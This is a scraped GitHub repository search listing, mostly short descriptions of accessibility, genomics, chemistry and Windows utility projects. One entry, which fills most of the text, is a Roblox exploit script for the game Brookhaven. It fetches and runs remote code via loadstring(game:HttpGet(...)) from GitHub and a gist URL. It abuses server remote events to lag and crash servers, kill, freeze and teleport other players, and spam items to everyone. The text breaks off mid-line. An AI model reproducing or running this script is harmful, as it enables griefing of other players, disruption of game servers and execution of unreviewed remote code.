Found 291 repositories(showing 30)
JPCERTCC
Artifact analysis tools by JPCERT/CC Analysis Center
Community-Access
Accessibility review agents for Claude Code, GitHub Copilot, and Claude Desktop. Eleven specialists that enforce WCAG 2.2 AA compliance so AI coding tools stop generating inaccessible code.
virajbdeshpande
AmpliconArchitect (AA) is a tool to identify one or more connected genomic regions which have simultaneous copy number amplification and elucidates the architecture of the amplicon. In the current version, AA takes as input next generation sequencing reads (paired-end Illumina reads) mapped to the hg19/GRCh37 reference sequence and one or more regions of interest. Please "watch" this repository for improvements in runtime, accuracy and annotations for GRCh38 human reference genome coming up soon.
ASUCICREPO
Experience the PDF Remediation solution developed at ASU AI Cloud Innovation Center. This innovative tool remediates PDF documents to meet WCAG 2.1 Level AA standards with tagging, metadata cleanup, and AI-powered alt-text generation, promoting digital accessibility for everyone.
AaronMargosis
A set of troubleshooting, diagnostic, and information utilities (and useful scripts) for Windows
markbattistella
ContrastKit is a Swift library designed to facilitate colour contrast handling within iOS, iPadOS, macOS, and tvOS applications. It provides developers with tools to automatically generate colour shades from any base colour and determine the most readable contrast colours according to established accessibility standards (AA Large, AA, and AAA).
QChASM
Python tools for automating routine tasks encountered when running quantum chemistry computations.
EnesYPP38
local a=loadstring(game:HttpGet("https://raw.githubusercontent.com/miroeramaa/TurtleLib/main/TurtleUiLib.lua"))()local b=a:Window("Scripts")local c=a:Window("Scripts")local d=a:Window("LocalPlayer")local e=a:Window("Give Tool To Players")local f=a:Window("Spawn Cars")local g=a:Window("Server-Sided Fun Tags")local h=a:Window("Server-Sided Fun Tags 2")g:Button("Admin Tag 1",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","782790468","Has Been Given",true)end)g:Button("Admin Tag 2",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","105095367","Has Been Given",true)end)g:Button("Normal VIP Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1292335373","Has Been Given",true)end)g:Button("Mega VIP Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1255544221","Has Been Given",true)end)g:Button("Ultra VIP Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1292342698","Has Been Given",true)end)g:Button("VIP Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","32578003","Has Been Given",true)end)g:Button("Moderator Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","415986666","Has Been Given",true)end)g:Button("Owner Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","2980546857","Has Been Given",true)end)g:Button("Creator Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","2497143214","Has Been Given",true)end)g:Button("Brookhaven Logo Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","6336646536","Has Been Given",true)end)g:Button("Pikachu Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1473416194","Has Been Given",true)end)g:Button("Hacker Face Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","3284478282","Has Been Given",true)end)g:Button("Scary Pikachu Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","127039538","Has Been Given",true)end)g:Button("HD Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","2821573888","Has Been Given",true)end)g:Button("Old Roblox Logo Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","148012526","Has Been Given",true)end)g:Button("Roblox Admin Logo Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1151106808","Has Been Given",true)end)g:Button("Diamond Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","4424298","Has Been Given",true)end)g:Button("Hacking Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","626372353","Has Been Given",true)end)g:Button("Nascar Car Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","463277467","Has Been Given",true)end)g:Button("Girl Face Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","555878469","Has Been Given",true)end)g:Button("Wall Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1844422643","Has Been Given",true)end)g:Button("Meme Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","261677904","Has Been Given",true)end)g:Button("Coffee Meme Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","261676710","Has Been Given",true)end)h:Label("Scary",Color3.fromRGB(127,143,166))h:Button("Scary Face Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1243374078","Has Been Given",true)end)h:Button("2 Eye Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","5839301773","Has Been Given",true)end)h:Button("Scary Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","2120834873","Has Been Given",true)end)h:Button("Smiley Face Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","333476199","Has Been Given",true)end)h:Button("Scary Dog Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","5817435822","Has Been Given",true)end)h:Button("Scary Cat Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","23355113","Has Been Given",true)end)g:Box("Custom Image",function(i,j)if j then ggeee=i;game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu",ggeee,"Has Been Given",true)end end)b:Label("Lag Commands",Color3.fromRGB(127,143,166))b:Button("Lag Server",function(k)getgenv().trinxxsxxkets=k;while wait()do if getgenv().trinxxsxxkets then game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer("PickingCar","SmartCar")game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer("PickingCar","Van")game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer("PickingCar","Bus")end end end)b:Button("Crash Server",function()for l,m in pairs(game.Workspace:GetDescendants())do game:GetService("ReplicatedStorage").GunSounds:FireServer(m,"912999313",1)end end)d:Label("Server-Sided Fun Hats",Color3.fromRGB(127,143,166))d:Button("Crown Head",function(k)local n="wear"local o=4272833564;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("Amogus Head",function(k)local n="wear"local o=6532372710;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("Sus Head",function(k)local n="wear"local o=6564572490;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("Smile1 Head",function(k)local n="wear"local o=6711806832;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("Smile2 Head",function(k)local n="wear"local o=6809319263;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("1 Eye Head",function(k)local n="wear"local o=6773734422;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Box("Custom Hat",function(q,r)if r then game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("wear",tonumber(q))end end)d:Button("Reset Outfit",function()local s={[1]="Whatever1"}game:GetService("ReplicatedStorage").RemoteEvents.AvatarOriginalCharacterClient92731:FireServer(unpack(s))end)b:Label("Fun Commands",Color3.fromRGB(127,143,166))e:Label("Give To All Players",Color3.fromRGB(127,143,166))e:Button("Give Money Bag [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4535110571","Money")end end)e:Button("Give Big Money Bag [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4587924680","DuffleBagMoney")end end)e:Button("Give Coca Cola [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4548052009","Coke")end end)e:Button("Give Stroller [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4529218345","Stroller")end end)e:Button("Give Hairbrush [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=5480682123","Hairbrush")end end)e:Button("Give Sign [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=6001822792","Sign")end end)e:Button("Give Rose [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=5211788490","Roses")end end)e:Button("Give Soccer ball [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4598172149","SoccerBall")end end)e:Button("Give Gun [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4529288610","Assault")end end)e:Button("Give C4 [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4587924290","Bomb")end end)b:Button("0 Gravity Unanchored Things",function()spawn(function()while true do game.Players.LocalPlayer.MaximumSimulationRadius=math.pow(math.huge,math.huge)*math.huge;game.Players.LocalPlayer.SimulationRadius=math.pow(math.huge,math.huge)*math.huge;game:GetService("RunService").Stepped:wait()end end)local function u(v)if v:FindFirstChild("BodyForce")then return end;local w=Instance.new("BodyForce")w.Force=v:GetMass()*Vector3.new(0,workspace.Gravity,0)w.Parent=v end;for l,m in ipairs(workspace:GetDescendants())do if m:IsA("Part")and m.Anchored==false then if not m:IsDescendantOf(game.Players.LocalPlayer.Character)then u(m)end end end;workspace.DescendantAdded:Connect(function(v)if v:IsA("Part")and v.Anchored==false then if not v:IsDescendantOf(game.Players.LocalPlayer.Character)then u(v)end end end)end)b:Button("Bring Unanchored Bricks [E]",function()local x=game:GetService("UserInputService")local y=game:GetService("Players").LocalPlayer:GetMouse()local z=Instance.new("Folder",game:GetService("Workspace"))local A=Instance.new("Part",z)local B=Instance.new("Attachment",A)A.Anchored=true;A.CanCollide=false;A.Transparency=1;local C=y.Hit+Vector3.new(0,5,0)local D=coroutine.create(function()settings().Physics.AllowSleep=false;while game:GetService("RunService").RenderStepped:Wait()do for E,F in next,game:GetService("Players"):GetPlayers()do if F~=game:GetService("Players").LocalPlayer then F.MaximumSimulationRadius=0;sethiddenproperty(F,"SimulationRadius",0)end end;game:GetService("Players").LocalPlayer.MaximumSimulationRadius=math.pow(math.huge,math.huge)setsimulationradius(math.huge)end end)coroutine.resume(D)local function G(m)if m:IsA("Part")and m.Anchored==false and m.Parent:FindFirstChild("Humanoid")==nil and m.Parent:FindFirstChild("Head")==nil and m.Name~="Handle"then y.TargetFilter=m;for E,H in next,m:GetChildren()do if H:IsA("BodyAngularVelocity")or H:IsA("BodyForce")or H:IsA("BodyGyro")or H:IsA("BodyPosition")or H:IsA("BodyThrust")or H:IsA("BodyVelocity")or H:IsA("RocketPropulsion")then H:Destroy()end end;if m:FindFirstChild("Attachment")then m:FindFirstChild("Attachment"):Destroy()end;if m:FindFirstChild("AlignPosition")then m:FindFirstChild("AlignPosition"):Destroy()end;if m:FindFirstChild("Torque")then m:FindFirstChild("Torque"):Destroy()end;m.CanCollide=false;local I=Instance.new("Torque",m)I.Torque=Vector3.new(100000,100000,100000)local J=Instance.new("AlignPosition",m)local K=Instance.new("Attachment",m)I.Attachment0=K;J.MaxForce=9999999999999999;J.MaxVelocity=math.huge;J.Responsiveness=200;J.Attachment0=K;J.Attachment1=B end end;for E,m in next,game:GetService("Workspace"):GetDescendants()do G(m)end;game:GetService("Workspace").DescendantAdded:Connect(function(m)G(m)end)x.InputBegan:Connect(function(L,M)if L.KeyCode==Enum.KeyCode.E and not M then C=y.Hit+Vector3.new(0,5,0)end end)spawn(function()while game:GetService("RunService").RenderStepped:Wait()do B.WorldCFrame=C end end)end)e:Button("Give Shovel [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4617189079","Shovel")end end)c:Label("Admin Commands",Color3.fromRGB(127,143,166))c:Button("Jump All",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("DropButtonStopAll",m)end end)c:Toggle("Loop Jump All",false,function(N)getgenv().ccc15cccccds=N;while wait()do if getgenv().ccc15cccccds then local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("DropButtonStopAll",m)end end end end)c:Box(" Jump Player",function(O,P)if P then plrrr=game:GetService("Players")[O]local s={[1]="DropButtonStopAll",[2]=plrrr}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end end)c:Box("Mega Jump Plr",function(Q,P)if P then plrrr=game:GetService("Players")[Q]for l=1,7 do for l=1,200 do local s={[1]="DropButtonStopAll",[2]=plrrr}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end end end end)d:Slider("Walkspeed",16,120,5,function(R)game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed=R end)d:Slider("JumpPower",50,300,20,function(S)game:GetService("Players").LocalPlayer.Character.Humanoid.JumpPower=S end)d:Button("Rejoin Server",function()game:GetService("TeleportService"):Teleport(game.PlaceId)end)d:Toggle("Noclip",false,function(T)getgenv().trfffffinketcs=T;game:GetService("RunService").RenderStepped:Connect(function()if getgenv().trfffffinketcs then game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)end end)end)d:Button("Reset Character",function()game.Players.LocalPlayer.Character.Humanoid:Remove()Instance.new('Humanoid',game.Players.LocalPlayer.Character)game:GetService("Workspace")[game.Players.LocalPlayer.Name]:FindFirstChildOfClass('Humanoid').HipHeight=2 end)b:Label("Tool Commands",Color3.fromRGB(127,143,166))b:Box("Tool Kill Player",function(U,V)if V then local s={[1]="PickingTools",[2]="Stretcher"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))local W="Stretcher"for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do if m:IsA("Tool")and m.Name==W then m.Parent=game:GetService("Players").LocalPlayer.Character end end;yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;for l=1,50 do game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=game.Workspace[U].Head.CFrame+Vector3.new(0,5,-5)end;wait(2)game.Players.LocalPlayer.Character.Humanoid:UnequipTools()wait(0.40)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=CFrame.new(-13619,488,-2853)wait(0.40)local W="Stretcher"for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do if m:IsA("Tool")and m.Name==W then m.Parent=game:GetService("Players").LocalPlayer.Character end end;wait(0.50)game.Players.LocalPlayer.Character.Humanoid:UnequipTools()game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes;local s={[1]="PickingTools",[2]="Stretcher"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))end end)b:Box("Tool Bring Player",function(X,P)if P then local s={[1]="PickingTools",[2]="Stretcher"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))local W="Stretcher"for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do if m:IsA("Tool")and m.Name==W then m.Parent=game:GetService("Players").LocalPlayer.Character end end;yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=game.Workspace[X].Head.CFrame+Vector3.new(0,5,-5)wait(2)game.Players.LocalPlayer.Character.Humanoid:UnequipTools()wait(0.90)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes;local W="Stretcher"wait(.10)for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do if m:IsA("Tool")and m.Name==W then m.Parent=game:GetService("Players").LocalPlayer.Character;wait(1)game.Players.LocalPlayer.Character.Humanoid:UnequipTools()local s={[1]="PickingTools",[2]="Stretcher"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))end end end end)c:Button("Instantly Kill All v1",function()game.Players.LocalPlayer.Character.Head:Remove()for l=1,2 do local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetPlayers())do if m.Name~=game.Players.LocalPlayer then t:FireServer("Client2Client","Request: Piggyback!",m)local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetPlayers())do if m.Name~=game.Players.LocalPlayer then t:FireServer("BothWantPiggyBackRide",m)end end end end end end)c:Button("Instantly Kill All v2",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=CFrame.new(21,3,-40)game.Players.LocalPlayer.Character.Head:Remove()for l=1,2 do local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetPlayers())do if m.Name~=game.Players.LocalPlayer then t:FireServer("Client2Client","Request: Piggyback!",m)local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetPlayers())do if m.Name~=game.Players.LocalPlayer then t:FireServer("BothWantPiggyBackRide",m)end end end end end;game.Players.LocalPlayer.Character:Remove()end)c:Button("FE Random Teleport All",function()wait(1)local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do if m.Name~=game.Players.LocalPlayer then t:FireServer("Client2Client","Request: Shoulders!",m)end end;local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do if m.Name~=game.Players.LocalPlayer then t:FireServer("BothWantShoulders",m)local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113 end end;for l,m in pairs(game.Players:GetChildren())do t:FireServer("DropButtonStopAll",m)end;local Y=game:GetService("Players").LocalPlayer;repeat wait(.1)until Y.Character;local Z=Y.Character;Z.Archivable=true;local _=false;local a0=true;local a1=Z:Clone()a1.Parent=game:GetService'Lighting'local a2=workspace.FallenPartsDestroyHeight;a1.Name=""local a3;Y.CharacterAdded:Connect(function()if Y.Character==a1 then return end;repeat wait(.1)until Y.Character:FindFirstChildWhichIsA'Humanoid'if a0==false then _=false;a0=true;Z=Y.Character;Z.Archivable=true;a1=Z:Clone()a1.Name=""a1:FindFirstChildOfClass'Humanoid'.Died:Connect(function()Respawn()end)for l,m in pairs(a1:GetDescendants())do if m:IsA("BasePart")then if m.Name=="HumanoidRootPart"then m.Transparency=1 else m.Transparency=.5 end end end end end)local a4=game:GetService("RunService").Stepped:Connect(function()pcall(function()local a5;if tostring(a2):find'-'then a5=true else a5=false end;local a6=Y.Character.HumanoidRootPart.Position;local a7=tostring(a6)local a8=a7:split(', ')local a9=tonumber(a8[1])local aa=tonumber(a8[2])local ab=tonumber(a8[3])if a5==true then if aa<=a2 then Respawn()end elseif a5==false then if aa>=a2 then Respawn()end end end)end)for l,m in pairs(a1:GetDescendants())do if m:IsA("BasePart")then if m.Name=="HumanoidRootPart"then m.Transparency=1 else m.Transparency=.5 end end end;function Respawn()a0=false;if _==true then pcall(function()Y.Character=Z;wait()Z.Parent=workspace;Z:FindFirstChildWhichIsA'Humanoid':Destroy()_=false;a1.Parent=nil end)elseif _==false then pcall(function()Y.Character=Z;wait()Z.Parent=workspace;Z:FindFirstChildWhichIsA'Humanoid':Destroy()_=false end)end end;a1:FindFirstChildOfClass'Humanoid'.Died:Connect(function()Respawn()end)function FixCam()workspace.CurrentCamera.CameraSubject=Y.Character:FindFirstChildWhichIsA'Humanoid'workspace.CurrentCamera.CFrame=a3 end;function freezecam(ac)if ac==true then workspace.CurrentCamera.CameraType=Enum.CameraType.Scriptable else workspace.CurrentCamera.CameraType=Enum.CameraType.Custom end end;function TurnInvisible()if _==true then return end;_=true;a3=workspace.CurrentCamera.CFrame;local ad=Y.Character.HumanoidRootPart.CFrame;Z:MoveTo(Vector3.new(0,math.pi*1000000,0))freezecam(true)wait(.2)freezecam(false)a1=a1;Z.Parent=game:GetService'Lighting'a1.Parent=workspace;a1.HumanoidRootPart.CFrame=ad;Y.Character=a1;FixCam()Y.Character.Animate.Disabled=true;Y.Character.Animate.Disabled=false end;function FixScript()end;function TurnVisible()if _==false then return end;a3=workspace.CurrentCamera.CFrame;Z=Z;local ad=Y.Character.HumanoidRootPart.CFrame;Z.HumanoidRootPart.CFrame=ad;a1.Parent=game:GetService'Lighting'Y.Character=Z;Z.Parent=workspace;_=false;FixCam()Y.Character.Animate.Disabled=true;Y.Character.Animate.Disabled=false end;game.Players.LocalPlayer.Character.Humanoid:Remove()Instance.new('Humanoid',game.Players.LocalPlayer.Character)wait(1)for l,m in pairs(game.Players:GetChildren())do t:FireServer("DropButtonStopAll",m)end;TurnInvisible()wait(1)TurnVisible()end)c:Box("Kill Any Player",function(ae,af)if af then yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;for l=1,50 do local s={[1]="Client2Client",[2]="Request: Carry!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantCarryHurt",[2]=game:GetService("Players")[ae]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;wait(.10)local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))game.Players.LocalPlayer.Character.Head:Destroy()wait(7)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes end end)c:Box("Freeze Player",function(ag,ah)if ah then for l=1,50 do local s={[1]="Client2Client",[2]="Request: PiggyBack!!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantPiggyBackRide",[2]=game:GetService("Players")[ag]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;wait(.10)local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored=true end end)c:Box("Skydive Player",function(ai,aj)if aj then yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;for l=1,20 do local s={[1]="Client2Client",[2]="Request: Carry!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantCarryHurt",[2]=game:GetService("Players")[ai]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))wait(.30)loadstring(game:HttpGet("https://gist.githubusercontent.com/TurkOyuncu99/edad7106467c283a3a554b0afd179776/raw/7a6168e45bc9223b52d3e833c05947d484c850ef/gistfile1.txt",true))()game.Players.LocalPlayer.Character.Humanoid:Remove()wait(7)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes end end)c:Box("Carry Player",function(ak,P)if P then for l=1,50 do local s={[1]="Client2Client",[2]="Request: Piggyback!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantPiggyBackRide",[2]=game:GetService("Players")[ak]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;wait(.10)local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end end)c:Box("Bring Player",function(al,am)if am then yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;for l=1,50 do local s={[1]="Client2Client",[2]="Request: Carry!",[3]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))local s={[1]="BothWantCarryHurt",[2]=game:GetService("Players")[al]}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end;wait(.10)local s={[1]="JumpButtonStopAll",[2]=game:GetService("Players").LocalPlayer}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))wait(.40)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes;wait(.50)game.Players.LocalPlayer.Character.Humanoid:Remove()wait(7)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes end end)c:Toggle("Loop Teleport+Annoy All",false,function(an)game:GetService("StarterGui"):SetCore("SendNotification",{Title="Teleport+Annoy All Script",Text="To Stop this, Reset Character on LocalPlayer Section",Duration=15})getgenv().trinechbvvkets=an;while wait(0.20)do if getgenv().trinechbvvkets then local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do if m.Name~=game.Players.LocalPlayer then t:FireServer("Client2Client","Request: Piggyback!",m)end end;local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do if m.Name~=game.Players.LocalPlayer then t:FireServer("BothWantPiggyBackRide",m)end end end end end)c:Toggle("Rainbow House",false,function(ao)getgenv().trineeeechbvvkets=ao;while wait(0.20)do if getgenv().trineeeechbvvkets then game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0,1,0.547505))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0.677182,0))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0.604867,1,0.0489711))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0,1,0.790357))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0,0.972528,1))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(0,1,0.547505))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0,0.772158))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0.253019,0))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0.924444,0.75973))wait(.30)game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseColor",Color3.new(1,0.311742,0.302132))end end end)c:Label("FE Funny Scripts",Color3.fromRGB(127,143,166))c:Toggle("FE Rainbow Character",false,function(ap)getgenv().trinecnooooovhbvvkets=ap;while wait(1)do if getgenv().trinecnooooovhbvvkets then game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Light reddish violet")wait(.20)wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Carnation Pink")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Lime 